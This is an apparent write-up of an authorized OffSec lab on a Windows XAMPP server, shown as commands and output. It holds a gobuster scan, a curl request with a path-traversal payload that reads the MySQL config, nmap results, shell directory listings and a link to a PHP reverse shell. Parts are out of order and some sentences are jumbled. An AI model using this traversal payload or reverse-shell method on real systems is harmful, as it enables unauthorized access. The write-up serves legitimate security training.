Authorized-lab note: This writeup documents activity performed exclusively in an authorized Offensive Security Proving Grounds lab. It is shared for educational and portfolio purposes.
Overview
In this lab, you will exploit a remote file inclusion vulnerability in a web application. You will then escalate privileges by leveraging misconfigured permissions on an executable that operates under the system job scheduler. This exercise enhances your skills in vulnerability exploitation and privilege escalation techniques.
Learning objectives
After completion of this lab, learners will be able to:
- Enumerate open services and identify the web application vulnerable to remote file inclusion.
- Exploit the RFI vulnerability to execute arbitrary commands on the target system.
- Deploy a reverse shell payload to establish persistent access to the target.
- Identify misconfigured permissions on files executed by a scheduled task.
- Replace the scheduled executable with a malicious payload to achieve privilege escalation.
Scenario
This lab demonstrates exploiting a remote file inclusion vulnerability in a web application to execute arbitrary commands and deploy a reverse shell. Learners will escalate privileges by replacing a scheduled executable with a malicious payload, leveraging weak file permissions and an administrative task scheduler. The lab highlights web application vulnerabilities and improper file permission practices.
Enumeration
This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
(kali㉿kali)-[~/offsec/slort]
# Discover application paths and files that may expand the attack surface.
└─$ gobuster dir -u http://192.168.185.53:4443/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
# Discover application paths and files that may expand the attack surface.
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.185.53:4443/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
## license, visit http://creativecommons.org/licenses/by-sa/3.0/ (Status: 403) [Size: 1060]
img (Status: 301) [Size: 345] [--> http://192.168.185.53:4443/img/]
site (Status: 301) [Size: 346] [--> http://192.168.185.53:4443/site/]
examples (Status: 503) [Size: 1060]
licenses (Status: 403) [Size: 1205]
dashboard (Status: 301) [Size: 351] [--> http://192.168.185.53:4443/dashboard/]
IMG (Status: 301) [Size: 345] [--> http://192.168.185.53:4443/IMG/]
Site (Status: 301) [Size: 346] [--> http://192.168.185.53:4443/Site/]
*checkout* (Status: 403) [Size: 1046]
Img (Status: 301) [Size: 345] [--> http://192.168.185.53:4443/Img/]
phpmyadmin (Status: 403) [Size: 1205]
webalizer (Status: 403) [Size: 1046]
*docroot* (Status: 403) [Size: 1046]
* (Status: 403) [Size: 1046]
con (Status: 403) [Size: 1046]
Dashboard (Status: 301) [Size: 351] [--> http://192.168.185.53:4443/Dashboard/]
**http%3a (Status: 403) [Size: 1046]
*http%3A (Status: 403) [Size: 1046]
xampp (Status: 301) [Size: 347] [--> http://192.168.185.53:4443/xampp/]
aux (Status: 403) [Size: 1046]
**http%3A (Status: 403) [Size: 1046]
SITE (Status: 301) [Size: 346] [--> http://192.168.185.53:4443/SITE/]
**http%3A%2F%2Fwww (Status: 403) [Size: 1046]
server-status (Status: 403) [Size: 1205]
devinmoore* (Status: 403) [Size: 1046]
200109* (Status: 403) [Size: 1046]
*sa_ (Status: 403) [Size: 1046]
*dc_ (Status: 403) [Size: 1046]
Progress: 220558 / 220558 (100.00%)
===============================================================
Finished
====================================Navigating to
/siteit redirects us tohttp://192.168.185.53:4443/SITE/index.php?page=main.phpTrying LFI on the
?page=parameter
This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
──(kali㉿kali)-[~/offsec/slort]
# Retrieve and inspect the web response from the target.
└─$ curl -s "http://192.168.185.53:4443/SITE/index.php?page=../../../../../../../../xampp/mysql/bin/my.ini" | more
## Example MySQL config file for small systems.
#
## This is for a system with little memory (<= 64M) where MySQL is only used
## from time to time and it's important that the mysqld daemon
## doesn't use much resources.
#
## You can copy this file to
## C:/xampp/mysql/bin/my.cnf to set global options,
## mysql-data-dir/my.cnf to set server-specific options (in this
## installation this directory is C:/xampp/mysql/data) or
## ~/.my.cnf to set user-specific options.
#
## In this file, you can use all long options that a program supports.
## If you want to know which options a program supports, run the program
## with the "--help" option.
## The following options will be passed to all MySQL clients
[client]
## password = your_password
port=3306
socket="C:/xampp/mysql/mysql.sock"
## Here follows entries for some specific programs
## The MySQL server
default-character-set=utf8mb4
[mysqld]
port=3306
socket="C:/xampp/mysql/mysql.sock"
basedir="C:/xampp/mysql"
tmpdir="C:/xampp/tmp"This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
Volume in drive C has no label.
Volume Serial Number is 6E11-8C59
Directory of C:\
07/20/2020 07:08 AM <DIR> Backup
06/23/2026 01:27 PM 2,693 output.txt
12/07/2019 02:14 AM <DIR> PerfLogs
06/23/2026 01:28 PM <DIR> Program Files
12/03/2021 09:22 AM <DIR> Program Files (x86)
12/03/2021 09:29 AM <DIR> Users
05/04/2022 01:52 AM <DIR> Windows
06/12/2020 08:11 AM <DIR> xampp
1 File(s) 2,693 bytes
7 Dir(s) 27,596,861,440 bytes free
# Move into the directory needed for the next action.
C:\>cd Backup
# Inspect the directory for files relevant to the next step.
C:\Backup>dir
Volume in drive C has no label.
Volume Serial Number is 6E11-8C59
Directory of C:\Backup
07/20/2020 07:08 AM <DIR> .
07/20/2020 07:08 AM <DIR> ..
06/12/2020 07:45 AM 11,304 backup.txt
06/12/2020 07:45 AM 73 info.txt
06/23/2020 07:49 PM 73,802 TFTP.EXE
3 File(s) 85,179 bytes
2 Dir(s) 27,596,861,440 bytes freeInitial Access
This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
# The scan output identifies the target's exposed services and their versions.
PORT STATE SERVICE VERSION
21/tcp open ftp FileZilla ftpd 0.9.41 beta
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
3306/tcp open mysql MariaDB 10.3.24 or later (unauthorized)
4443/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
| http-title: Welcome to XAMPP
|_Requested resource was http://192.168.185.53:4443/dashboard/
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
5040/tcp open unknown
7680/tcp open pando-pub?
8080/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
|_http-open-proxy: Proxy might be redirecting requests
| http-title: Welcome to XAMPP
|_Requested resource was http://192.168.185.53:8080/dashboard/
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsFTP no anonymous login
SMB client no default credentials login
MYSQL no weak credentials
Trying to perform works
Using the php reverse shell
Tried many windows php reverse shell but only this one worked https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/reverse/php_reverse_shell.php
Takeaways
This lab reinforced the value of methodical enumeration, evidence-driven hypothesis testing, and validating each access-control boundary in an authorized environment.